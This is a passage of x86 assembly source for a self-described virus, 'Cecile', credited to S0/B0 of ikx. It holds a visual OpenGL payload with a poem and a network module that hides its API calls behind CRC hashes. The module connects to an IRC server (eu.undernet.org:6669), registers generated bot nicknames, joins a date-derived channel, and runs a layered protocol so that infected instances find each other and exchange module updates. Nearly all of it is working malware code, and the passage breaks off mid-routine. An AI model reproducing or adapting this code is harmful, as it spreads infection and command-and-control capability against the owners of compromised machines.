mov eax,dword ptr [esp+lpamval]

mov edx,eax
ror edx,16
movzx ecx,dx
ror edx,16
and edx,0FFFFh

push ecx
push edx
push 0
push 0
FP_apicall 084F77E3Dh,7,k382 ; glViewport

push 01701h
FP_apicall 0CC25D186h,7,k385 ; glMatrixMode

FP_apicall 0B7550A81h,7,k387 ; glLoadIdentity

; glu perspective

pushfl 250.000001,d1
pushfl 1.000001,d2
pushfl 1.6,d3
pushfl 45.00001,d4

P_apicall 052CF8CB5h,9 ; gluPerspective
; me the conversion
push 01D01h
P_apicall 06F425C00h,7 ; glShadeModel

xor eax,eax
ret 16

skipResizing:

cmp dword ptr [esp+umsgval],0Fh ; WM_PAINT
jne skipPaint

push 4100h
P_apicall 0EB925D0h,7 ; glClear

push 01700h
P_apicall 0CC25D186h,7 ; glMatrixMode

P_apicall 0B7550A81h,7 ; glLoadIdentity

pushfl 1.00001,c1
mov ecx,5

makeit:
push 0
push 0
loop makeit

mov ecx,3

makethat:
pushfl 10.00001,c7
loop makethat

P_apicall 0B40F59E3h,9 ; gluLookAt

call getNear
getNear: pop ebx
lea ebx,[ebx+LightPosition-getNear]

push ebx
push 01203h
push 4000h
FP_apicall 0AF5F0533h,7,k440 ; glLightfv

call drawme1
drawme1: pop ebx

lea edx,[ebx+drawme-drawme1]
push edx

push 0
push 0

push 0
push 0

fld qword ptr [edx+8+8+8+8]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+8*7]
sub esp,8
fstp qword ptr [esp]

FP_apicall 0B03D1463h,7,k462 ; glRotated
;
; push 01202h
; push 0408h
; call glColorMaterial
;
pop edx
push edx

fld qword ptr [edx+8+8+8+8+8]
fadd qword ptr [edx+8+8+8+8]
fstp qword ptr [edx+8+8+8+8+8]

fld qword ptr [edx+6*8]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+4*8]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+4*8]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+4*8]
sub esp,8
fstp qword ptr [esp]

FP_apicall 0AE59E423h,7,k491 ; glColor4d

push 7 ; GL_QUADS
FP_apicall 0EB83BB0h,7,k494 ; glBegin

pop edx

mov dword ptr [edx],0 ; reset X coordinates
mov dword ptr [edx+4],0

; taaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam

; int 3

fld qword ptr [edx-(3*8)]
fadd qword ptr [edx-(6*8)]
fstp qword ptr [edx-(3*8)]

fld qword ptr [edx-(2*8)]
fadd qword ptr [edx-(5*8)]
fstp qword ptr [edx-(2*8)]

fld qword ptr [edx-(1*8)]
fadd qword ptr [edx-(4*8)]
fstp qword ptr [edx-(1*8)]

mov ecx,3
DrawAll2:
push ecx

mov dword ptr [edx+calcpos-drawme],0

mov dword ptr [edx+8],0
mov dword ptr [edx+8+4],0

mov ebx,3
sub ebx,ecx

mov ecx,9
DrawAll1: push ecx

fld qword ptr [edx+(ebx*8)-(3*8)]
fstp qword ptr [edx+8+8]

; mov dword ptr [edx+8+8],0
; mov dword ptr [edx+8+8+4],0

mov ecx,456
DrawAll:
push ecx

call DrawCarre

fld qword ptr [edx+8+8]
fsub qword ptr [edx+8+8+8+8]
fstp qword ptr [edx+8+8]

pop ecx
loop DrawAll

fld qword ptr [edx+8]
fsub qword ptr [edx+8+8+8+8]
fstp qword ptr [edx+8]

pop ecx

loop DrawAll1

fld qword ptr [edx]
fsub qword ptr [edx+8+8+8+8]
fstp qword ptr [edx]

pop ecx
loop DrawAll2

FP_apicall 03AE8A0h,7,k566 ; glEnd

push dword ptr [esp+hwndval]
FP_apicall 02ACB18h,1,k569 ; GetDC

push eax
FP_apicall 0424E4ADFh,8,k572 ; SwapBuffers

xor eax,eax
ret 16

skipPaint:

push dword ptr [esp+lpamval]
push dword ptr [esp+4+wpamval]
push dword ptr [esp+4+4+umsgval]
push dword ptr [esp+4+4+4+hwndval]
FP_apicall 023ED6274h,1,k583 ; DefWindowProcA

ret 16

DrawCarre:

call testpos
cmp eax,0
je Drawcasse

ret

Drawcasse:

push edx

fld qword ptr [edx] ; Z coord
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+8] ; Y coord
fadd qword ptr [edx+8+8+8]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+8+8] ; X coord
fsub qword ptr [edx+8+8+8]
sub esp,8
fstp qword ptr [esp]
FP_apicall 084A94FFDh,7,k612 ; glVertex3d

pop edx
push edx

fld qword ptr [edx]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+8]
fadd qword ptr [edx+8+8+8]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+8+8]
fadd qword ptr [edx+8+8+8]
sub esp,8
fstp qword ptr [esp]
FP_apicall 084A94FFDh,7,k630 ; glVertex3d

pop edx
push edx

fld qword ptr [edx]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+8]
fsub qword ptr [edx+8+8+8]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+8+8]
fadd qword ptr [edx+8+8+8]
sub esp,8
fstp qword ptr [esp]
FP_apicall 084A94FFDh,7,k648 ; glVertex3d

pop edx
push edx

fld qword ptr [edx]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+8]
fsub qword ptr [edx+8+8+8]
sub esp,8
fstp qword ptr [esp]

fld qword ptr [edx+8+8]
fsub qword ptr [edx+8+8+8]
sub esp,8
fstp qword ptr [esp]
FP_apicall 084A94FFDh,7,k666 ; glVertex3d

pop edx
ret

testpos:

;int 3

pushad

call gettest
gettest:
pop ebx
lea ebx,[ebx+calcpos-gettest]

mov edx,dword ptr [ebx]
inc dword ptr [ebx]
mov ecx,edx

shr edx,3
mov eax,dword ptr [ebx+4+edx]

and ecx,0111b

ror eax,cl
and eax,1

mov dword ptr [esp+20h-4],eax
popad

ret


drawmme: dq 0.125
dq 0.25
drawspeed: dq 0.5

drawthat: dq 0
dq 0
dq 0

drawme: dq 0
dq 0
dq 0
dq 0.50
dq 1.0

rotated: dq 1.0
dq 0.95

dq 180.0

LightPosition: dd 5
dd 0
dd 0
dd 50.00001

dd 0.5
dd 0
dd 1
dd 0

calcpos: dd 0

drawtext:

db 07fh, 017h, 080h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 00fh, 040h, 0f7h, 0bfh, 02ah, 0e2h
db 0ffh, 07fh, 0fch, 0ffh, 0cfh, 0ffh, 0ffh, 07fh, 0feh, 0ffh, 0ffh, 0efh
db 0f9h, 0dfh, 0ffh, 0f3h, 0efh, 063h, 010h, 0ffh, 08fh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 03fh, 0a2h, 0eah, 0ffh, 005h, 0e0h, 0dfh, 0bfh, 0fbh
db 0ffh, 0deh, 0ffh, 0dfh, 0ffh, 0feh, 0ffh, 0ffh, 0efh, 0feh, 0e3h, 0ffh
db 0edh, 0f1h, 0fdh, 07dh, 0ffh, 07fh, 0ffh, 0ffh, 0ffh, 0e3h, 0ffh, 0f7h
db 0bfh, 0ffh, 09fh, 0ffh, 07fh, 07fh, 0feh, 0feh, 0ffh, 0ffh, 0ffh, 01fh
db 0fah, 09fh, 0ffh, 0ffh, 0ffh, 0e7h, 03eh, 0efh, 0ffh, 0ffh, 0ffh, 0ffh
db 03fh, 000h, 0fdh, 0afh, 0aah, 0f0h, 08fh, 0dfh, 01fh, 0e7h, 0dfh, 0f1h
db 08fh, 0ffh, 09eh, 0fch, 087h, 0f7h, 0e1h, 0e5h, 0ffh, 0ddh, 0f2h, 0fdh
db 07dh, 0fbh, 0beh, 03fh, 0f0h, 0ffh, 0fdh, 0ffh, 0f7h, 0bfh, 0ffh, 0efh
db 0ffh, 07fh, 0bfh, 0ffh, 0feh, 0ffh, 0ffh, 0ffh, 0efh, 0eah, 0bfh, 0ffh
db 0ffh, 0ffh, 0efh, 07fh, 0f7h, 0ffh, 0ffh, 0ffh, 0ffh, 07fh, 0a8h, 0aah
db 07fh, 017h, 0f0h, 007h, 0dfh, 0efh, 0dah, 0deh, 0eeh, 007h, 0ffh, 0b8h
db 0fdh, 0ffh, 0bfh, 0dfh, 0eah, 0f1h, 061h, 0f5h, 0feh, 07eh, 05dh, 0bfh
db 0ffh, 0ffh, 0ffh, 0ddh, 0cch, 074h, 03fh, 0f3h, 0cbh, 075h, 04eh, 0beh
db 067h, 0c6h, 0f4h, 07fh, 0f8h, 07fh, 0f3h, 03dh, 067h, 0f2h, 099h, 0cdh
db 066h, 0d7h, 053h, 033h, 0ffh, 0e1h, 07fh, 040h, 0f7h, 0bfh, 02ah, 0f2h
db 08fh, 0dfh, 00fh, 0fbh, 0deh, 0f0h, 08fh, 0ffh, 076h, 07ch, 0f8h, 0dfh
db 0dfh, 0f4h, 0ffh, 05eh, 0fah, 0feh, 0beh, 0beh, 0dfh, 0feh, 0c0h, 0ffh
db 063h, 047h, 064h, 0beh, 0ebh, 0bdh, 0aah, 076h, 0dfh, 0abh, 046h, 0c7h
db 0ffh, 0ffh, 07fh, 0b9h, 0beh, 022h, 0e2h, 0aeh, 0aeh, 0d6h, 087h, 051h
db 0d1h, 0ffh, 0ffh, 07fh, 0a2h, 0eah, 0ffh, 005h, 0e0h, 0dfh, 0bfh, 0ebh
db 0fbh, 0deh, 0feh, 0dfh, 0ffh, 0d6h, 0fdh, 0ffh, 0dfh, 0efh, 0f8h, 07fh
db 06fh, 07ch, 07fh, 0bfh, 05dh, 0dfh, 0feh, 0ffh, 0ffh, 06eh, 077h, 0f7h
db 0bdh, 0ebh, 0bdh, 0aah, 076h, 0dfh, 0aah, 076h, 0dfh, 0ffh, 0ffh, 0bfh
db 075h, 03fh, 0bah, 0ebh, 0aeh, 08eh, 0d6h, 0dfh, 05dh, 0ddh, 0ffh, 0ffh
db 03fh, 000h, 0fdh, 0afh, 0aah, 0e0h, 0ffh, 07fh, 01ch, 006h, 0a1h, 0e1h
db 0ffh, 0ffh, 030h, 0feh, 0ffh, 03fh, 070h, 0ffh, 03fh, 0b0h, 0ffh, 018h
db 0d8h, 0ebh, 062h, 0ffh, 0ffh, 0ffh, 071h, 0cfh, 04ch, 07eh, 0e6h, 0c3h
db 06eh, 0f5h, 03eh, 023h, 04dh, 0c7h, 0ffh, 0ffh, 0cfh, 0aeh, 0beh, 066h
db 0e2h, 0ceh, 0a9h, 0d5h, 0dfh, 0b3h, 0d3h, 0ffh, 0ffh, 03fh, 0a8h, 0aah
db 07fh, 017h, 080h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0fdh, 0ffh, 0fbh, 0ffh, 0ffh
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 00fh, 040h, 0f7h

PayCallExit:

;include payload\payload.asm

skippayload:

add esp,16

popad
ret

paytext:

db 'To see a world in a grain of sand',13,10
db 'And heaven in a flower',13,10
db 'Hold infinite in the palm of your hand',13,10
db 'And eternity in a hour...',13,10,13,10,13,10
db ' A kiss to cecile... ',0

paytitle:

db 'Cecile coded by S0/B0[ikx], made in assembly',0

PiSyscall0: db 68h
PayloadSyscall: dd offset RoutineHandler
ret
PayloadEnd:

;
; Net module encapsulater
;

CommodStart:

dd offset CommodEnd - CommodStart
db 1 ; workable system
db 1 ; workable payload version
dd CommodSyscall - CommodStart
dd Commodroutine - CommodStart


CSyscall macro I_ID_CoDE

mov dword ptr [esp-12], I_ID_CoDE
call CSyscall0
endm

C_apicall macro crcval, libhandle

mov edx,libhandle
mov eax,crcval
CSyscall MApiCall

endm

Commodroutine:

loadpointer edx,CommodStart

loadpointer edx,wsocklib, crt
push edx
mov ecx,0
mov eax,12
CSyscall LoadLib
pop edx

cmp eax,0
jne skiploadnet

CSyscall registernet

cmp eax,0
je skiploadnet

mov ecx,1
mov eax,12
CSyscall LoadLib

; call initnetwork

sub esp,12
mov edx,esp
mov dword ptr [edx],12
mov dword ptr [edx+4],0
mov dword ptr [edx+8],0

loadpointer ebx, netinit, crt1

push esp
push 0
push 0
push ebx
push 0
push edx
P_apicall 0CA2C0A90h,0 ; Create Thread

add esp,12

skiploadnet:

ret

wsocklib: db 'wsock32.dll',0

WM_SOCKET equ 400h+100h

hostname db 'eu.undernet.org',0
CClassName db 'ICC',0
CAppName db 'WAp',0
port dd 6669
sock dd 0

AppHandle dd 0

sin:

sin_family: dw 0
sin_port: dw 0
sin_addr: dd 0
sin_zero: dq 0

recdata: dd 0

netinit:

sub esp,32
loadpointer edx,GetTim, ni11
mov dword ptr [edx],esp

sub esp,1024+4
loadpointer edx,recdata, ni12
mov dword ptr [edx],esp

sub esp,40

mov ebx,esp
mov dword ptr [ebx],0
loadpointer [ebx+4],commproc,cm11
mov dword ptr [ebx+8],0
mov dword ptr [ebx+12],0

push ebx

push 0
C_apicall 01017D1A1h,0 ; GetModuleHandle

pop ebx

mov dword ptr [ebx+16],eax
mov dword ptr [ebx+20],0
mov dword ptr [ebx+24],0
mov dword ptr [ebx+28],0
mov dword ptr [ebx+32],0

loadpointer [ebx+36],CClassName, cm12

push ebx
C_apicall 0D48A96AAh,1 ; RegisterClassA

push 0

push 0
C_apicall 01017D1A1h,0 ; GetModuleHandle

push 0
push eax

push 0
push 0
push 0
push 0
push 0
push 0
push 0

sub esp,4
loadpointer [esp+4],CAppName, cm13
sub esp,4
loadpointer [esp+4],CClassName, cm14

push 0

C_apicall 7099fb9ch,1 ; CreateWindowEx

push eax
call initconnect

cmp eax,'OKAY'
jne skipconnect

call layer2init

cmp eax,'OKAY'
jne skipconnect

sub esp,44
mov edi,esp

skipbreakit:

push 0
push 0
push 0
push 0
push edi
C_apicall 03BAC79F3h,1 ; GetMessageA

push eax

push edi
push edi
C_apicall 050d9920Ch,1 ; TranslateMessageA
C_apicall 05BFFA45Ch,1 ; dispatchMessageA

pop eax

cmp eax,0
jne skipbreakit

skipconnect:

loadpointer ebx,sock,t5
push dword ptr [ebx]
C_apicall 0F9AAA3C4h,12
C_apicall 0A3498CD8h,12

push 0
C_apicall 790c0575h,0 ; ExitThread

commproc:

cmp dword ptr [esp+umsgval],01h
je returnnullk

cmp dword ptr [esp+umsgval],05
je returnnullk

cmp dword ptr [esp+umsgval],16
jne skipthisonecomm

push 0
C_apicall 07818C6Bh,1 ; PostQuitMessage

ret 16

skipthisonecomm:

cmp dword ptr [esp+umsgval],WM_SOCKET
jne skipnetwork

mov eax,dword ptr [esp+lpamval]

cmp ax,01h ; FD_READ
jne skipnetwork1

cmp eax,0FFFFh
ja skipnetwork

push 0
push 1024
loadpointer ebx,recdata, comp1
push dword ptr [ebx]
loadpointer ebx,sock, comp2
push dword ptr [ebx]
C_apicall 80670h,12 ; WSOCK32!recv

pushad
call layer2interp
popad

xor eax,eax
ret 16

skipnetwork1:

cmp ax,20h
jne skipnetwork

call layer1uninit

skipnetwork:

push dword ptr [esp+lpamval]
push dword ptr [esp+4+wpamval]
push dword ptr [esp+4+4+umsgval]
push dword ptr [esp+4+4+4+hwndval]

C_apicall 23ED6274h,1 ; User32!DefWindowProc
jmp returnk

returnnullk:

xor eax,eax

returnk:

ret 16

;include debug\debug.asm

initconnect:

loadpointer edx,recdata, icn1
mov edx,[edx]
push edx
push 0101h

C_apicall 0A568A8D8h,12 ; WSAStartup

cmp eax,0
jne ic_finish1

push 0
push 1 ; SOCK_STREAM
push 2 ; AF_INET

C_apicall 20AA2E0h,12 ; socket

cmp eax,0 ; INVALID_SOCKET
je ic_finish2

loadpointer edx,sock,icc5
mov dword ptr [edx],eax

loadpointer edx,sin_family,icc3
mov dword ptr [edx], 2 ; AF_INET

loadpointer edx,port,ick1
push dword ptr [edx]

C_apicall 03C3D18h,12 ; htons

loadpointer edx,sin_port,icc4
mov word ptr [edx], ax

sub esp,4

loadpointer [esp+4],hostname,icn2
C_apicall 0FB4C7B3Dh,12 ; gethostbyname

mov eax,[eax+12]
mov eax,[eax]
mov eax,[eax]

loadpointer edx,sin_addr,icn4
mov dword ptr [edx],eax

push 16

sub esp,4
loadpointer [esp+4],sin,icn5

loadpointer edx,sock,icc9
push dword ptr [edx]

C_apicall 0E5AC660h,12 ; connect

cmp eax, 0 ; SOCKET_ERROR
jne ic_finish2

push 1+20h ; FD_READ + FD_CLOSE
push WM_SOCKET

push dword ptr [esp+4+4+4] ; 1st arg in
; stack
loadpointer edx,sock,icc7
push dword ptr [edx]

C_apicall 03E7B093h,12 ; WsaAsyncSelect

mov eax,'OKAY'
ret 4
ic_finish2:

push sock
C_apicall 0F9AAA3C4h, 12 ; closesocket

ic_finish1:

C_apicall 0A3498CD8h,12 ; WSACleanup

xor eax,eax

ret 4

layer1uninit:

loadpointer edx,sock,icn91
push dword ptr [edx]
C_apicall 0F9AAA3C4h, 12 ; closesocket
C_apicall 0A3498CD8h,12 ; WSACleanup

coocooom:

loadpointer edx,hostname,icn92

cmp word ptr [edx],'ue'
jne swapittoeu

mov word ptr [edx],'su'
jmp swapittous

swapittoeu:

mov word ptr [edx],'ue'

swapittous:

pushad

pushad
push 30000
C_apicall 3126C0h,0
popad

push dword ptr [esp+20h+4+4]
call initconnect

cmp eax,'OKAY'
jne coocooom

call layer2init

popad
ret

Message1: db 'NICK Cec0000',10
finmes1: db 0

Message2: db 'user Cec0000 "" "" :Cec0000',10
finmes2: db 0

Mes3chk: db 0

Message3: db 'USERHOST Cec0000',10
finmes3: db 0

layer2init:

C_apicall 17357e7Ah,0 ; GetTickCount

xor eax,'!CeC'

xor ebx,ebx
mov ecx,4

getitmax:

push ecx
mov ecx,10
xor edx,edx

div ecx
mov bl,dl
rol ebx,8

pop ecx

loop getitmax

add ebx,'0000'

loadpointer edx,Message1,ly2
;cmp dword ptr [edx+8],'0000'
;jne skipIdFilling

mov dword ptr [edx+8-3],'0ceC'
mov dword ptr [edx+8],ebx

mov dword ptr [edx+8+Message2-Message1-3],'0ceC'
mov dword ptr [edx+8+Message2-Message1],ebx
mov dword ptr [edx+23+Message2-Message1-3],'0ceC'
mov dword ptr [edx+23+Message2-Message1],ebx
mov dword ptr [edx+12+Message3-Message1-3],'0ceC'
mov dword ptr [edx+12+Message3-Message1],ebx

sub ebx,'0000'

and ebx,00FFFFFFh

add dword ptr [edx+8-3],ebx
add dword ptr [edx+8+Message2-Message1-3],ebx
add dword ptr [edx+23+Message2-Message1-3],ebx
add dword ptr [edx+12+Message3-Message1-3],ebx

skipIdFilling:

push 0
push finmes1-Message1
loadpointer edx,Message1,sif76
push edx
loadpointer edx,sock,sif1
push dword ptr [edx]
C_apicall 818A0h,12

push 0
push finmes2-Message2
loadpointer edx,Message2,sif2
push edx
loadpointer edx,sock,sif31
push dword ptr [edx]
C_apicall 818A0h,12 ; send

mov eax,'OKAY'
ret

layer2interp:

loadpointer esi,recdata,ly2int
mov esi,dword ptr [esi]

layer2interp1:

push eax

lly2:

cmp dword ptr [esi],'GNIP'
jne notpong

mov byte ptr [esi+1],'O'

call getendofline
mov word ptr [esi+eax-2],0Ah

dec eax

push eax

push 0
push eax
push esi
loadpointer edx,sock,sif9
push dword ptr [edx]
C_apicall 818A0h,12 ; send

pop eax

mov word ptr [esi+eax-1],0A0Dh

loadpointer edx,Mes3chk,ly114

cmp byte ptr [edx],0
jne skipitMes3

push edx

push 0
push finmes3-Message3
loadpointer edx,Message3,sif8
push edx
loadpointer edx,sock,sif99
push dword ptr [edx]
C_apicall 818A0h,12 ; send

pop edx

inc byte ptr [edx]

; elle reflŠte l'‚tat de mon esprit
; viscicitude et aspiration mat‚rielle d‚chue
; n'est que frustration une vie bient“t ‚teinte...

call InitManage

skipitMes3:
notpong:

call Managing

loadnextline:

pop eax

getnextline:

cmp eax,-1
je finishloading

inc esi
dec eax

cmp word ptr [esi-2],0A0Dh
jne getnextline

cmp eax,0
jne dontfinishloading

finishloading:

ret

dontfinishloading:

jmp layer2interp1

getendofline:

xor eax,eax

getendofline1:

inc eax

cmp word ptr [esi+eax-2],0A0Dh
jne getendofline1

ret

;
; Multi layer networking:
;
;
; Layer 1 - Wich call winsock functions in order to connect and receive
; sent datas as they arrive
;
; Layer 2 - initialise and interprete the protocol used in layer1
; - Interprete data from Layer 3 and send to layer 1
;
; Layer 3 - load data from Layer 2 and interprete for Layer 4
; Interprete data from Layer 4 and send to layer 2
;
; Layer 4 - interprete and send data to Layer 2
; manage communication between two virus hinstances and
; display their module list version, then ask if any module
; need to be updated
;
; Layer 5 - exchange module connection, have packet checksum, divide
; packet, encryption, end crc check and resend operation
; aivable, have also a ping timeout check, don't flood
; (limited to 200 byte/s). Well, module are limited to 8192
; kilobytes
;

cecuser dd 0

message4 db 'JOIN '
channel db '#000000',0Ah
finmes4 db 0
GetTim dd 0

InitManage:

loadpointer edx,GetTim,Im1

push dword ptr [edx]
push dword ptr [edx]
C_apicall 0B50DB39h,0,IM1 GetSystemTime
pop edx

movzx eax,word ptr [edx]

movzx ecx,word ptr [edx+6]
inc ecx
shr ecx,3
inc ecx

xor edx,edx
div ecx

xor ebx,ebx
mov ecx,4

gettimnot:

push ecx

xor edx,edx
mov ecx,10
div ecx

rol ebx,8
mov bl,dl

pop ecx
loop gettimnot

add ebx,'0000'
push edx
loadpointer edx,message4,Im2
mov dword ptr [edx+6],ebx ; get year
pop edx

push edx
loadpointer edx,GetTim,Im9
mov edx,dword ptr [edx]
movzx eax,word ptr [edx+2] ; get month

movzx ecx,word ptr [edx+6]
shr ecx,3
inc ecx

xor edx,edx
mul ecx

pop edx

mov ecx,10
xor edx,edx
div ecx
mov ah,dl

add ax,'00'

push edx
loadpointer edx,message4,Im3
mov word ptr [edx+6+4],ax ; get month
pop edx

push 0
push finmes4-message4
loadpointer edx,message4,Im5
push edx
loadpointer edx,sock,Im4
push dword ptr [edx]

apicall 818A0h,12 ; send

ret

Managing:

mov byte ptr [esi+eax],0Ah

push esi

Managing1:

;cmp dword ptr [esi],'ORRE'
;jne checkpriv2aa
;
;checkpriv2aa:
;
;cmp dword ptr [esi],'solC'
;jne checkpriv2bb
;
;checkpriv2bb:

cmp dword ptr [esi],'NIOJ'
jne checkpriv

call layer3init

checkpriv:

cmp dword ptr [esi],'VIRP'
jne analismess2

cmp dword ptr [esi+4],' GSM'
je analismess

analismess2:

inc esi
cmp byte ptr [esi],0Ah
jne Managing1

pop esi

ret

analismess:

mov eax,dword ptr [esp] ; hardcoded and added

push edx
mov edx,dword ptr [eax]
mov eax,dword ptr [eax+4] ; just for cecile communication

sub eax,'0000'
and eax,00FFFFFFh
rol eax,8

sub eax,edx
neg eax
pop edx

cmp eax,'ceC:'
jne setzeroit

mov eax,dword ptr [esp] ; hardcoded and added
mov eax,dword ptr [eax+4] ; just for cecile communication

jmp storeit

setzeroit:

mov eax,0

storeit:

loadpointer edx,cecuser,sto1
mov dword ptr [edx],eax

setzeroka:

add esi,8

call layer3

pop esi

ret

channelsend:

sub esp,8+7+1+1 ; - 17
sub esp,ecx ; - 4

mov edi,esp
mov ebx,edi

push ecx ; - 4
push ecx ; - 4
push ecx ; - 4

mov dword ptr [edi],'VIRP'
mov dword ptr [edi+4],' GSM'

loadpointer esi,channel,im6
add edi,8
mov ecx,7
rep movsb

mov byte ptr [edi],' '
inc edi

pop ecx ; +4

doitnow:

mov esi,edx
rep movsb

mov byte ptr [edi],0Ah

pop ecx ; +4
add ecx,8+7+1+1

push 0
push ecx
push ebx
loadpointer edx,sock,im7
push dword ptr [edx]
C_apicall 818A0h,12

pop ecx ; +4
add esp,ecx ; +4
add esp,8+7+1+1 ; +15
ret

usersend:
;7*6

sub esp,8+7+1+1 ; - 17
sub esp,ecx

mov edi,esp
mov dword ptr [edi],'VIRP'
mov dword ptr [edi+4],' GSM'

mov dword ptr [edi+8],' ceC'
mov dword ptr [edi+8+3],eax

sub eax,'0000'
and eax,0FFFFFFh

add dword ptr [edi+8],eax

mov byte ptr [edi+8+3+4],' '

mov ebx,edi

push ecx
push ecx

add edi,8+7+1

jmp doitnow

;
; Layer 3 protocol, wich make the layer 4 working
;

;
; if something come from the channel, translate it
;

Remote db '0000'
ActualSet db 0

layer3init:

pushad

loadpointer edx,ActualSet,ly000 ; load actual set
cmp byte ptr [edx],0 ; if we are not in
ja dontmakeit ; zero mode, dont init

mov byte ptr [edx],1 ;

mov ecx,12
sub esp,ecx
mov edx,esp
mov edi,edx
mov dword ptr [esp],'A100' ; send free mode

push ecx
loadpointer ecx,Message1, ly3
mov ecx,dword ptr [ecx+8]

mov dword ptr [esp+8],ecx
pop ecx

call channelsend8

add esp,12

dontmakeit:

popad

ret

layer3:

; extra_

;call layer4pingdetect

; extra_

loadpointer edx,ActualSet, ly1 ;

cmp byte ptr [edx],3 ; if we are in
je awayfromit ; private mode

cmp byte ptr [esi],'#'
jne notfromchannel ; if we are not in chan

incrementit:

inc esi

cmp byte ptr [esi],0Ah
je notfromchannel

;cmp dword ptr [esi],'XGSM' ; little hello to asmod :]
;jne noquit
;
;push 0
;call ExitProcess

noquit:

loadpointer edx,ActualSet, ly22 ; load the set

cmp byte ptr [edx],3 ; we are not in step 2
je incrementit ; of communication

cmp dword ptr [esi],'D100'
jne notBBreply

call checkconfirmation12
jc notBBreply

mov eax,dword ptr [esi+4] ; confirmation received

loadpointer edx,Message1, ly377

cmp eax,dword ptr [edx+8]
jne skipthisline ; check if we have the same
; user than our
mov eax,dword ptr [esi+8] ; load remote user

loadpointer edx,Remote, ly4 ; save it there
mov dword ptr [edx],eax

call layer4init ; initalizing virus virus
; transfer
loadpointer edx,ActualSet, ly5
mov byte ptr [edx],3 ; set actual set

skipthisline:

ret

notBBreply:

cmp dword ptr [esi],'C100' ; watch if we have a free
jne notBreply ; confirmation

call checkconfirmation12
jc notBreply ; confirmation

loadpointer edx,Message1,ly3107
mov edx,dword ptr [edx+8]

cmp dword ptr [esi+4],edx
jne skipBBreply

push esi
push edi

mov ecx,16 ; set it
sub esp,ecx ; we received it

mov edi,esp
mov edx,esp

mov dword ptr [edx],'D100' ; and then, we confirmed it

mov eax,dword ptr [esi+8] ; it's our
mov dword ptr [edx+4],eax

loadpointer ebx,Remote, ly6
mov dword ptr [ebx],eax ; set the remote

loadpointer ebx,Message1,ly7

mov eax,dword ptr [ebx+8] ; my
mov dword ptr [edx+8],eax ; load our ID

call channelsend12 ; send it

loadpointer edx,ActualSet,ly8
mov byte ptr [edx],3 ; set state

add esp,16

pop edi
pop esi ; finish

skipBBreply:

ret

notBreply:

cmp dword ptr [esi],'B100' ; check if replied my ask
jne notM2communication ;

call checkconfirmation12
jc notM2communication ;

loadpointer edx,ActualSet,ly3105

cmp byte ptr [edx],2
jae skipBreply

loadpointer ecx,Message1, ly3152
mov ecx,dword ptr [ecx+8]

cmp dword ptr [esi+8],ecx
jne skipBreply

mov ecx,16

sub esp,ecx
mov edi,esp

mov dword ptr [edi],'C100'

push ecx
loadpointer ecx,Message1, ly3155
mov ecx,dword ptr [ecx+8]

mov dword ptr [edi+8],ecx
pop ecx

mov eax,dword ptr [esi+4]
mov dword ptr [edi+4],eax

mov edx,edi
call channelsend12

loadpointer edx,ActualSet,ly3187
mov byte ptr [edx],2

add esp,16

skipBreply:

ret

notM2communication:

cmp dword ptr [esi],'A100' ; load Hello
jne incrementit

call checkconfirmation8
jc incrementit

call checkoneA
jnc incrementit

push edi
mov ecx,16 ; reply confirmation
sub esp,ecx
mov edi,esp

push edi
movsd
inc byte ptr [edi-1]

loadpointer edx,Message1,ly9 ; set the message
mov eax,dword ptr [edx+8] ; put our ID with 001B

mov dword ptr [edi],eax

mov eax,dword ptr [esi]
mov dword ptr [edi+4],eax

pop edi

mov edx,edi

call channelsend12 ; send to chan

add esp,16
pop edi

notfromchannel:

ret

awayfromit:

cmp byte ptr [esi],'#' ; if we have a #
je incrementit

push edx
loadpointer edx,Remote,ly10 ; then check who is the remote
mov eax,dword ptr [edx]
loadpointer edx,cecuser,ly11 ; load the user
cmp dword ptr [edx],eax
pop edx

jne notfromchannel

add esi,6+2+1 ;

call layer4input ; set the layer

; layer 4 in action now!

ret

directinput:

push edx
loadpointer edx,Remote,ly12 ; load the remote

mov eax,dword ptr [edx]
pop edx
call usersend ; and sun to user

ret

layer3to4uninit:

loadpointer edx,ActualSet,ly34195
mov byte ptr [edx],1 ; return to an idle mode

ret

channelsend12:

pushad
mov edx,8
jmp bifurcation1

channelsend8:

pushad
mov edx,4

bifurcation1:

mov ecx,edx
loadpointer ebx,Message1+8,ly3289
mov ebx,dword ptr [ebx]

getcrcvalthat:
